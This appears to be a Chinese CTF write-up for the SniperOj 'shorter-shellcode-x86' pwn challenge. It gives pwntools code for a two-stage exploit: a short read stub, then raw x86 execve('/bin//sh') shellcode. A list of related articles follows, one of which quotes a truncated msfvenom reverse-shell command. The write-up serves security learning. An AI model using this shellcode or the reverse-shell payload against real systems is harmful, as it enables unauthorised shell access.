SniperOj-shorter-shellcode-x86
shell-storm 这里可以有一些可以用的shellcode,不过自己写才是biner的骄傲 /奋斗
0x00 不会写shellcode(和一条咸鱼有什么区别/哭)
0x01 这题目前有俩种解法
1. shellcode直接获取shell,这种解法需要较强的shellcode编写能力,因为只能输入27字节,要求shellcode1足够短
2. 先自己构造个read然后扩大读取字节,再获取shell,这样shellcode长度就不是问题了
0x02 我选择的是第二种,完全是因为自己不会写shellcode。/气哭
1.先构造read
# read_asm
shellcode = asm("mov al, 0x3")
shellcode += asm("add cl, 0xc")
shellcode += asm("mov dl, 0xff")
shellcode += asm("int 0x80") #read_more
padding = '\x90' * (13-len(shellcode))
payload = shellcode + padding + p32(buf_Addr)
Io.send(payload)
2.再获取shell
# system_asm
shellcode1 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f"
shellcode1 += "\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" #get_shell
payload1 = '\x90' * 16 + shellcode1
Io.send(payload1)
3.我犯的一个错误
#get_shell
payload1 = '\x90' * 13 + p32(buf_Addr + 13 + 4) + shellcode1
Io.send(payload1)
因为之前构造的read已经把EIP指向了栈,所以第二次不需要再覆盖函数返回地址,就可以直接指向shellcode。感谢re0x6d大佬耐心指导,
SniperOj-shorter-shellcode-x86的更多相关文章
- MSFVENOM SHELLCODE生成备忘录
MSFVENOM SHELLCODE生成 通用Shellcode msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHO ...
- gdb windbg and od use
gdb aslr -- 显示/设置 gdb 的 ASLR asmsearch -- Search for ASM instructions in memory asmsearch "int ...
- FreeBSD上编写x86 Shellcode初学者指南
FreeBSD上编写x86 Shellcode初学者指南 来源 https://www.4hou.com/binary/14375.html 介绍 本教程的目的是帮助你熟悉如何在FreeBSD操作系统 ...
- Windows x86 x64使用SetThreadContext注入shellcode的方式加载DLL
一.前言 注入DLL的方式有很多,在R3就有远程线程CreateRemoteThread.SetWindowsHookEx.QueueUserApc.SetThreadContext 在R0可以使用a ...
- 编写X86的ShellCode
ShellCode 定义 ShellCode是不依赖环境,放到任何地方都能够执行的机器码 编写ShellCode的方式有两种,分别是用编程语言编写或者用ShellCode生成器自动生成 ShellCo ...
- Windows x86/ x64 Ring3层注入Dll总结
欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...
- KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 《寒江独钓》内核学习笔记(5)
目录 . 相关阅读材料 . <加密与解密3> . [经典文章翻译]A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Ha ...
- Windows XP PRO SP3 - Full ROP calc shellcode
/* Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f (http://www.fuzzysec ...
- OD: Writing Small Shellcode
第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode.原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing S ...
- KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态
KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 <寒江独钓>内核学习笔记(5) 继续我们的线程相关的数据结构的学习.接下来我们学习 KTH ...
随机推荐
- JavaWeb学习——获取类路径下的资源
对于JavaWeb而言,获取类路径下的资源,就是获取classes目录下的资源. 获取资源的方式有两种,利用Class或ClassLoader. Class类的getResourceAsStream( ...
- POJ1011【判重剪枝】
题意: 给你一堆棒子,这些棒子是你从一堆一样的棒子折断而来的, 现在你忘记了是从那一堆一样的棒子的长度,让你写一个程序,求最短的长度. 思路: 首先这个棒长肯定是和的约数,且大于最大值. 然后是sor ...
- 一个高效的A-star寻路算法(八方向)(
这种写法比较垃圾,表现在每次搜索一个点要遍历整个地图那么大的数组,如果地图为256*256,每次搜索都要执行65535次,如果遍历多个点就是n*65535,速度上实在是太垃圾了 简单说下思路,以后补充 ...
- OPENGL0_简介
opengl定义: Open Graphics Library,开放图形程序接口,跨平台,跨语言.提供了与底层图形硬件的接口,是一个功能强大的底层图形库. opengl库种类: gl:核心库,常规,核 ...
- Kibana: Unknown error while connecting to Elasticsearch
如果访问不通,可能是网络代理的问题,注意查看/etc/profile中是否设置了相关的代理. 注意修改代理后,应该执行 . /etc/profile 使配置文件立即生效.
- [Xcode 实际操作]七、文件与数据-(18)使用MarkMan与设计师进行心灵沟通
目录:[Swift]Xcode实际操作 本文将演示MarkMan的使用. 在界面开发过程中,最终的效果和设计稿难免有些出入, 通常是颜色.位置.尺寸方面的偏差,使用MarkMan助你领会设计师的意图. ...
- elasticsearch 部署
环境 ubuntu 12.04 64位 桌面版 jdk 1.7 elasticsearch 2.3.4 伪集群部署 elasticsearch 主目录在 /home/sdbadmin/es-clute ...
- C 语言实例 - 字符串翻转
C 语言实例 - 字符串翻转 C 语言实例 C 语言实例 使用递归来翻转字符串. 实例 - 字符串翻转 #include <stdio.h> void reverseSentence(); ...
- 开车旅行 【NOIP2012 D1T3】
开车旅行 [NOIP2012 D1T3] 倍增 首先令\(a[i]\)表示从i出发最近的城市下标,\(b[i]\)表示从i出发第二近的城市下标 可以维护一个\(\text{set<pair< ...
- Redis安装(centOS7)
1.安装gcc环境 sudo yum install gcc-c++ 2.安装wget sudo yum install wget 3.下载Redis源码包 wget http://download. ...